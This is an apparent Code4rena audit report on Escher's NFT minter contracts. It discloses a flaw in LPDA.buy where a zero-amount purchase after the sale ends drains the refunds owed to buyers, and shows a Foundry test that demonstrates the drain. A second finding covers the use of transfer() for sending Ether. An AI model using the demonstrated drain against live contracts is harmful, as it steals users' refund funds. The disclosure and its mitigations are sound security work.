Escher contest - aviggiano's results

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L58 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L81-L88

Vulnerability details

Impact

Users refunds from LPDA can be stolen by buying with _amount zero after the sale has ended. This can happen because LPDA.buy does not validate if the sale has previously ended before distributing the total sale amount and fees. As a result, calling buy more than once will drain the contract, making users entitled to a refund lose what they are owed

Proof of Concept

See the following test scenario. Calling buy with _amount equal to 0 will make the contract insolvent and will not be able to pay refunds.

diff --git a/test/LPDA.t.sol b/test/LPDA.t.sol
index 1c74700..c910216 100644
--- a/test/LPDA.t.sol
+++ b/test/LPDA.t.sol
@@ -104,6 +104,29 @@ contract LPDATest is LPDABase {
         sale.buy{value: 9 ether}(9);
     }
 
+    function test_SellsOut_BuyDoubled() public {
+        test_Buy();
+
+        sale.buy{value: 19 ether}(9); // this user is now entitled to a refund
+        
+        (
+            uint48 amount,
+            uint80 balance
+        ) = sale.receipts(address(this));
+        assertEq(amount, 10);
+        assertEq(balance, 20 ether);
+        assertEq(address(sale).balance, 10 ether, "sale can refund me for 10 ether");
+
+        sale.buy{value: 0}(0); // attacker makes the contract insolvent
+        (
+            amount,
+            balance
+        ) = sale.receipts(address(this));
+        assertEq(amount, 10);
+        assertEq(balance, 20 ether);
+        assertEq(address(sale).balance, 0, "sale does not have enough balance for refunds");
+    }
+
     function test_RevertsWhenSoldOut_Buy() public {
         test_SellsOut_Buy();
 

Tools Used

Foundry

Recommended Mitigation Steps

Validate if _amount is greater than zero.

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPrice.sol#L109 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L85 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L105 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEdition.sol#L92

Vulnerability details

Impact

Minters use transfer to send Ether, which assumes gas costs are constant. This is not true, as gas costs are not constant. They have changed in the past and might change again in the future, and smart contracts should be robust to this fact. Solidity’s transfer() and send() use a hardcoded gas amount, so these methods should be avoided.

Proof of Concept

A hardfork happens and changes the gas costs of some EVM operations. As a result, the function FixedPrice._end stops working and users are unable to withdraw their funds.

Tools Used

Manual verification

Recommended Mitigation Steps

Use .call.value(...)("") instead. See https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/